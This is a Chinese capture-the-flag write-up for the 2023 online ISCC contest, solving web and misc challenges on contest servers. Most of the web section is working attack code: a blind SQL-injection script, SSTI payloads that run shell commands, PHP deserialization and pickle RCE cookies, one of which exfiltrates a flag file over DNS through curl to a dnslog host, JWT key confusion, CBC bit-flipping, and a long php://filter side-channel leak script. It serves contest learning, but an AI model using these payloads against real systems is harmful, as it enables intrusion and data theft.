2023线上ISCC 部分WP
通过网址打开游戏界面,发现鼠标右键失灵,无法直接打开页面源代码。随意打开一个已知页面的源代码,发现有view-source:字样,在游戏界面的网址前加上view-sourc:打开页面源代码。发现一串字符使用base64加密解密后是个假的flag有两个可打开文件,flag肯定在这两个中打开index.css文件未发现任何东西故接着打开另一个vue.global.js文件,文件内容很多,快捷键Ctrl
title: 2023线上ISCC部分WP
categories: WP
Web
羊了个羊
通过网址打开游戏界面,发现鼠标右键失灵,无法直接打开页面源代码。随意打开一个已知页面的源代码,发现有view-source:字样,在游戏界面的网址前加上view-sourc:打开页面源代码。
发现一串字符使用base64加密
解密后是个假的flag
有两个可打开文件,flag肯定在这两个中
打开index.css文件未发现任何东西
故接着打开另一个vue.global.js文件,文件内容很多,快捷键Ctrl+F全局搜索,发现base64字符串
经过两次base64解密得到正确的flag
小周的密码锁
打开,按照规律多次尝试
发现后面的password2不会变,将其值改成5,得到代码
发现有部分被遮挡,网页代码复制下来
构造payload:
http://47.94.14.162:10008/?password=%02!SCCNOTHARD&username=14987637&sha1=ncxvshadewjpz&%E2%80%AE%E2%81%A6//sha2%E2%81%A9%E2%81%A6sha2=DFSNHPICAKYWV
得到结果
老狼老狼几点了
首先跑出来是12点,跳转到guess_time.php文件去
接着审计代码第一步可以通过爆破未来值得到,提前用fastcoll生成两个以未来时间戳开头的相同md5的值
$a = (file_get_contents("D:/WebApps/fastcoll/a1.txt"));
$b = (file_get_contents("D:/WebApps/fastcoll/a2.txt"));
echo urlencode($a)."";
echo urlencode($b)."";
接着extract变量覆盖绕过,可以看到这里的file和function的值是无法绕过的,但是我们可以通过base64过滤进行字符串逃逸,具体原理也比较简单
逃逸的payload:
_SESSION[a]=base64base64base64&_SESSION[z]=a";s:8:"function";s:4:"hack";s:4:"file";s:52:"php://filter/convert.basbase64e64-encode/resource=flag.php";s:4:"snow";s:4:"snow";}
ChatGGG
- 发现fllaaag.txt
- 网络响应发现服务端为WSGI,猜测有模板注入
- 测试过滤内容:
{{}}不能用
使用{%print()%} - 输入{%print(config)%}查看配置
- 构造payload
(1)+.*_ class base globals等一大部分都被过滤了
(2)~可以充当连接,使用"“[”“]代替.__
(3){%print(”“[”\x5f\x5fcla"“ss\x5f\x5f”][“\x5F\x5Fba”“se\x5F\x5F”]“\x5F\x5Fsubcla”~“sses\x5F\x5F”[233][“\x5F\x5Fin”“it\x5F\x5F”][“\x5F\x5Fglo”“bals\x5F\x5F”][“\x5F\x5Fbuil”~“tins\x5F\x5F”]“eval”[“popen”](“cat flllaag\x2etxt|bas”~“e64”)“read”)%}
其中"“[”\x5f\x5fcla"~“ss\x5f\x5f”]=>“”[“class”]=>.class
ISCC疯狂购物节-1
此题考查的是like盲注
poc:
import requests
import time
url = "http://47.94.14.162:10001/Details/search?id="
cookies = {} #换自己的
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "http://47.94.14.162:10001/Details/search?id=487561)||database()%20like%200x254325--%20-", "Connection": "close", "Upgrade-Insecure-Requests": "1", "X-Requested-With": "XMLHttpRequest"}
chars='{}.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
for char in chars:
payload="4875610)||fl4g like binary 0x257b{0}25#".format(hex(ord(char))[2:]) #改这里
print(payload)
time.sleep(2)
res=requests.get(url+payload, headers=headers, cookies=cookies)
if "fl4g" in res.text:
print(char)
Where_is_your_love
F12控制台查看可找到loveStory.php Enc.php download.php,loveStory.php为反序列源码。
boy::__destruct() -->girl()::__call()–>helper()::__isset()–>boy()::__toString()–>helper()::__get()–>love_story()::__love()
在get()处使用数组调用类方法执行love函数。
传入
array(new love_story(),"love")
其中,love_story中使fall_in_love=[“girl_and_boy”]绕过if判断
poc:
<?php
class boy {
public $like;
}
class girl {
private $boyname;
public function __construct($boyname)
{
$this->boyname=$boyname;
}
}
class helper {
public $name;
public $string;
public function __construct($name,$string) {
$this->name = $name;
$this->string=array("string"=>$string);
}
}
class love_story {
}
$boy2=new boy;
$love1=new love_story;
$love1->fall_in_love=["girl_and_boy"];
$help2=new helper("aaa",array($love1,"love"));
$boy2->like=$help2;
$help1=new helper($boy2,"dd");
$girl1=new girl($help1);
$boy1=new boy;
$boy1->like=$girl1;
echo urlencode(serialize($boy1));
后面还有段解密
上大号说话
.git 泄露部分源码
class ED:
def __init__(self):
self.file_key = ... # 1Aa 需要爆破的key
self.cipher_suite = Fernet(self.generate_key(self.file_key)) #
def crypto(self, base_str):
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
def check_cookies(cookie):
ed = ED()
f, result = ed.decrypto(cookie)
black_list = ...
if not result[0:2] == b'\x80\x03':
return False
...
try:
result = pickle.loads(result)
if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:
return flag
else:
return result.name
except:
return False
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
name = request.form['input_field']
name = Member(name)
name_pick = pickle.dumps(name, protocol=3)
name_pick = pickletools.optimize(name_pick)
ed = ED()
response = make_response(redirect('/'))
response.set_cookie('name', ed.crypto(name_pick).decode())
return response
temp_cookies = request.cookies.get('name')
if not temp_cookies:
...
else:
f = check_cookies(temp_cookies)
...
if __name__ == '__main__':
app.run()
爆破密钥:
先在题目随便输入,再获得name对应的cookie
爆破脚本,字典为自己生成(数字+大小写字母组合),从短的开始
from cryptography.fernet import Fernet
import base64
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
se="gAAAAABkV15w1YrpamSHnPltzjwB95JFnf-3G39PwVGEHn3bjIIq47b5R2GnjsCzdoNsXiz8dw-1zstfOR8Jpwl0xmem3AnaClnFyww3_aCI4SHEukDek6B2716T_tb-RW1a9Th0MTapMmawkgoQfRSAV6uGreqgHzKxmHqdAMoyxsRrMAAEpo4="
dic=open('dic.txt','r').readlines()
times=0
for i in dic:
try:
key=generate_key(i.strip())
fernet=Fernet(key)
data=fernet.decrypt(se)
times+=1
print(data)
print(i)
break
except:
pass
print(times)
密钥:5MbG
再生成O指令RCE的cookie
poc:
import pickle
import base64
from json import dump
from enum import member
from cryptography.fernet import Fernet
class ED:
def __init__(self):
self.file_key = '5MbG'
self.cipher_suite = Fernet(self.generate_key(self.file_key))
def crypto(self, base_str):
return self.cipher_suite.encrypt(base_str)
@staticmethod
def generate_key(key: str):
key_byte = key.encode()
return base64.urlsafe_b64encode(key_byte + b'0' * 28)
print(hex(len('curl `cat flagucjbgaxqef.txt`.l8s7sjd8.dnslog.pw')))
payload = b'\x80\x03(cos\nsystem\nX\x30\x00\x00\x00curl `cat flagucjbgaxqef.txt`.l8s7sjd8.dnslog.pwo.'
payload1=b'\x80\x03capp\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x08\x00\x00\x00mabaoguoX\x06\x00\x00\x00randomcmabaoguo\nrandom\nX\x06\x00\x00\x00gongfucmabaoguo\ngongfu\nub.'
#flagucjbgaxqef.txt
ed = ED()
cookie=ed.crypto(payload).decode()
print(cookie)
payload1为变量覆盖,获取flag的位置,payload为获取flag,payload中的DNSlog记得换为自己的。换上cookie刷新即可,在DNSlog等待回显,没有回显多尝试几次。
ISCC内部零元购-2
题目漏洞为ssti模板注入,下载公钥文件,修改RS256为HS256,密钥混淆。
import jwt
PUBLIC_KEY = open('key.txt').read()
payload = {
"name": "{{cycler.__init__.__globals__.os.popen('cat flag.txt').read()}}",
"exp": 9902085613, #失效时间,随便写就好
}
header = {
"Access_IP":"10.15.6.211",
"alg": "HS256",
"typ": "JWT",
}
encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)
print(encoded)
替换cookie中Auth值,并访问inner(内部商店)获取flag
ISCC滥用职权-3
登录策划部,bp抓包修改大写字母,写脚本利用CBC反转来绕过认证。
import base64
import requests
import urllib.parse
iv_raw='Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D' #这里填写第一次返回的iv值
cipher_raw='YKdGRbYAyVv8G6sI5nTWyTfXFQHzVvdf4DjoLGO3DwKdXf%2FSjYwFrl4xX9DhpyRb82wrxFam4nYvKjtClYr58eiz%2BBW19RHESbDTz8fA2Y6Ffez4YxW788%2BeDRi6OyZ%2B' #这里填写第一次返回的cipher值
print ("[*]原始iv和cipher")
print ("iv_raw: " + iv_raw)
print ("cipher_raw: " + cipher_raw)
print ("[*]对cipher解码,进行反转")
cipher = base64.b64decode(urllib.parse.unquote(cipher_raw))
#a:3:{s:8:"deppartm";s:7:"orgnize";s:8:"username";s:3:"123";s:8:"password";s:3:"123";}
#a:3:{s:8:"deppar
#tm";s:7:"orgnize
#";s:8:"username"
#;s:3:"123";s:8:"
#password";s:3:"1
#23";}
xor_cipher = cipher[0:9]+bytes([ord(chr(cipher[9]))^ord('T')^ord('t')])+cipher[10:]
#xor_cipher2=cipher[0:25]+ chr(ord(cipher[25]) ^ ord('z') ^ ord('a')) + cipher[25:] #如果修改的是第三密文组,要对前一个密文修改
#print(xor_cipher)
xor_cipher=urllib.parse.quote(base64.b64encode(xor_cipher))
print ("反转后的cipher:" + xor_cipher)
反转之后利用php脚本重新算一下偏移
<?php
#计算iv
$res = base64_decode('txkvKlgRty+WzPGCJ8aK4XRtIjtzOjU6InRlY2huIjtzOjg6InVzZXJuYW1lIjtzOjM6IjEyMyI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30='); //这里放burp放回的base64数据
$iv = base64_decode(urldecode('Jh5f1efA%2FP0aK4Ja5q6%2Flg%3D%3D')); //这里放cookie中的iv
$plaintext = 'a:3:{s:8:"deppar';
$new_iv = '';
for ($i = 0; $i < 16; $i ++){
$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i])); //产生新的向量IV
}
echo urlencode(base64_encode($new_iv));
?>
成功利用自己注册的账号进入策划部,发现有个admin/admin,存在条件竞争漏洞。利用上面的cbc绕过,然后两个号同时给彼此任免,可以提高level,利用bp抓包进行条件竞争,攒够100000之后购买flag即可得到flag
智力王
扫描目录得到源码,发现有hint,去访问上面提示key为4位,又参考源码中hint部分有对level传值,先尝试去爆破下密钥
https://github.com/noraj/flask-session-cookie-manager
那么构造session
根据提示,行百里者半九十
赠元发弟放言 - 百度汉语
作者:黄庭坚
亏功一篑,未成丘山。凿井九阶,不次水泽。行百里者半九十,小狐汔济濡其尾。故曰时乎,时不再来。终终始始,是谓君子。
去90关,发现ssrf的入口,服务器上构造302页面,通过日志分析,ssrfprotect函数应该是有两次请求,第一次为检测,第二次才是真正请求(共三次),脚本如下:
最后格式化字符串得到flag
蚁键连接
##第0层
访问http://47.94.14.162:10011/
<?php
highlight_file(__FILE__);
include('waf.php');
@eval($_POST[1]);
?>
访问http://47.94.14.162:10011/waf.php
跳转到
https://www.bilibili.com/video/BV1GJ411x7h7/?VUE9SVNDQw&t=1&vd_source=a3973ee32c81b12d5f6370e78020d6a5
对url的参数进行分析,得到
VUE9SVNDQw -> UA=ISCC
更改UA,得到IScC_L3vel2.php
##第1层
访问http://47.94.14.162:10011/IScC_L3vel2.php
WELCOME TO 2023ISCC
your are in admin
看起来像是SSTI,其实不是
访问http://47.94.14.162:10011/IScC_L3vel2.php?name=2023ISCC
WELCOME TO 2023ISCC
your are in 2023ISCC
W0w you Find me next
IsCC_N3xT.php
##第2层
访问http://47.94.14.162:10011/IsCC_N3xT.php
注释中发现隐藏信息,构建base64绕过
http://47.94.14.162:10011/IsCC_N3xT.php?s0urc3=%26czB1cmMz
即可得到源码:
<?php
include('level2.php');
error_reporting(0);
if($_GET['s0urc3']=='s0urc3'){
echo "没看见base64?";
}
if (isset($_GET['s0urc3'])) {
$s0urc3 = $_GET['s0urc3'];
if ($_GET['s0urc3'] != 'czB1cmMz') {
if (preg_match("/\&/",$s0urc3)){
if (base64_decode($_GET['s0urc3']) == 's0urc3') {
highlight_file(__FILE__);
echo "喜欢我isccIscciSccisCciscCIsCc1sCc吗";
}
}else{
die('想这样绕过?门都没有!!');
}
}else{
echo "s0urc3不能czB1cmMz";
echo "<br/>你不准看源码!";
}
}
$a = $_GET['iscc'] ?: '';
$b = $_GET['Iscc'] ?: '';
$c = $_GET['iScc'] ?: '';
$d = $_GET['isCc'] ?: '';
if (isset($_GET['iscc_iscc.lab'])) {
echo "1";
if (file_get_contents($a) === 'ISCC!!!') {
if ($b != 2023 && intval($b, 0) === 2023) {
header("location: https://iscc.isclab.org.cn/");
}
if ($c != $d && sha1($c) === sha1($d)) {
echo $level2;
} else {
header("location: https://iscc.isclab.org.cn/");
}
} else {
header("location: https://iscc.isclab.org.cn/");
}
}
?>
##第三层
访问http://47.94.14.162:10011/WCr3yPbt0.php
直接爆破
##第四层
访问http://47.94.14.162:10011/IScC_F1n4l.php
python直接计算
def L(u):
return (u-1)//n
aa = L(pow(c,lam,n**2))
bb = L(pow(g,lam,n**2))
from Crypto.Util.number import *
m = (aa * inverse(bb,n)) % n
print(long_to_bytes(m).decode())
侧信道
侧信道指的是在验证密码的过程中,如果验证到了错误的密码,计算机的计算速度与验证到正确密码计算的速度不同,利用这一点在网上找到了关于侧信道的脚本,修改一下运行脚本即可得到flag
# print(f'{header}|{payload}')
else:
err('something wrong')
print(f'baseline blowup is {baseline_blowup}')
trailer = join(*[blow_up_utf32] * (baseline_blowup - 1))
assert req(f'{header}|{trailer}') == False
print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up
_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|con
vert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header =
f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base6
4-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}')
"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the
start of
the string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and
6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which
is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because
it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|conve
rt.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:
+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:
abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""
flip =
"convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|conv
ert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICO
DE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o)
"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""
rot1 = 'convert.iconv.437.CP930'
be =
'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-
encode'
o = ''
def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|' * (n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|' * (n + 1) +
f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not
req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|' * (n + 1) +
f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|' * (
n + 1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not
req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not
req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_in
f}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif
req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if
req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif
req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'
):
return 'J'
elif req(
f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{
blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif
req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(
f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blo
w_up_inf}'):
return 'v'
else:
err('something wrong')
elif not
req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if
req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}
'):
return 'X'
elif req(
f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{
blow_up_inf}'):
return 'W'
elif req(
f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}
|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not
req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not
req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not
req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blo
w_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not
req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not
req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not
req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{bl
ow_up_inf}'):
# L
return 'L'
elif not req(
f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dec
hunk|{blow_up_inf}'):
# h
return 'h'
elif not req(
f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|st
ring.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(
f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|strin
g.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(
f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.4
37.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not
req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not
req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not
req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_in
f}'):
# T
return 'T'
else:
err('something wrong')
print()
for i in range(2000):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')
print(end=letter)
o += letter
sys.stdout.flush()
"""
We are done!! :)
"""
print()
print(o)
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C', b'')
print(b64decode(d))
然后会得到一半 flag 和其他的 key(有提示,多试几次就好了)
之后观察页面,更改格式得到另一半的 flag
Payload=shell.php?lastkey=DoUlikemyOrcle&file=shell.php
Misc
好看的维吾尔族小姐姐
下载附件,用010Editor打开文件
通过文件头信息知道这是PNG文件
用010更改图片的宽和高,发现有类似于二维码的图形出现。截屏保存,使用在线图片翻转https://www.gaitubao.com/xuanzhuan将其进行左右镜像翻转得到二维码,用支付宝扫描后得到
;521#&;33#&;101#&;011#&;111#&;001#&;801#&;801#&;101#&;911#&;59#&;611#&;501#&;59#&;611#&;111#&;301#&;59#&;711#&;111#&;121#&;321#&;76#&;76#&;38#&;37#&
按照正确的形式,将其反过来得到
ISCC{you_go**;&#;&#*;&#*16;_welldone!}
得到flag
人生之路
附件下载得到一个名为flag压缩包和一个名为人生之路的图片。打开压缩包需要密码,解压缩密码为图片名称,即人生之路.jpeg。解压之后得到flag.txt文件,对其内容进行凯撒爆破位移,然后匹配密码表,得到码表如下:
“saIsIwIdIwaIsdIsI”: “A”,
“sZwZdZsZaZdZsZaZ”: “B”,
“aZsZdZ”: “C”,
“sZwZdZsZaZ”: “D”,
“dZaZsIdZaZsIdZ”: “E”,
“dZaZsZaIdZ”: “F”,
“aZsZdZwIaI”: “G”,
“sZwIdZwIsZ”: “H”,
“dZaIsZaIdZ”: “I”,
“dZaIsZaI”: “J”,
“sZwIdIdwIsaIsdI”: “K”,
“sZdZ”: “L”,
“wZsdIwdIsZ”: “M”,
“wZsdZwZ”: “N”,
“sZdZwZaZ”: “O”,
“sZwZdZsIaZ”: “P”,
“aZwZdZsZsdI”: “Q”,
“sZwZdZsIaZdZsI”: “R”,
“aZsIdZsIaZ”: “S”,
“dZaIsZ”: “T”,
“sZdZwZ”: “U”,
“sIsdIdwIwI”: “V”,
“sdZwdZsdZwdZ”: “W”,
“sdZwaIwdIsaZ”: “X”,
“sdIwdIsaIsI”: “Y”,
“dZsaZdZ”: “Z”,
“aIsIaIdIsIdI”: “{”,
“dIsIdIaIsIaI”: “}”
flag.txt文件中打开得到
mIjRbIjRmI jIbRmIbRjI jIbImI jIbImI jRbRjRmRbRmR bRbmRmfRfR bImIfIjI mIjIbRmIjIbRmI fIbmRfmRbI bIfRmRmfRbjRbmR mIjRbIjR mIjRbI jIbImI bjRbRfRmRfjRbmRbR bImIfI bIfImIbIjImIbIjI mIjRbI jIfImIbIbmR bmIfjRfmRbjI bRbmRmfRfR mRbRmRjRbRjR
写脚本:
import string
c="mIjRbIjRmI jIbRmIbRjI jIbImI jIbImI jRbRjRmRbRmR bRbmRmfRfR bImIfIjI mIjIbRmIjIbRmI fIbmRfmRbI bIfRmRmfRbjRbmR mIjRbIjR mIjRbI jIbImI bjRbRfRmRfjRbmRbR bImIfI bIfImIbIjImIbIjI mIjRbI jIfImIbIbmR bmIfjRfmRbjI bRbmRmfRfR mRbRmRjRbRjR ".strip()
a=c.split(" ")
a=list(a[0])
p=0
for i in a:
if i in string.ascii_lowercase:
i=chr((ord(i)-97+p)%26+97)
while i not in "wasd":
i=chr((ord(i)-97+1)%26+97)
p+=1
elif i in string.ascii_uppercase:
i=chr((ord(i)-65+p)%26+65)
while i not in "ZI":
i=chr((ord(i)-65+1)%26+65)
p+=1
a=list(c)
for i in range(len(a)):
if a[i]==" ":
pass
else:
if a[i] in string.ascii_lowercase:
a[i]=chr((ord(a[i])-97+p)%26+97)
elif a[i] in string.ascii_uppercase:
a[i]=chr((ord(a[i])-65+p)%26+65)
a="".join(a)
a=a.split(" ")
map={
"saIsIwIdIwaIsdIsI": "A",
"sZwZdZsZaZdZsZaZ": "B",
"aZsZdZ": "C",
"sZwZdZsZaZ": "D",
"dZaZsIdZaZsIdZ": "E",
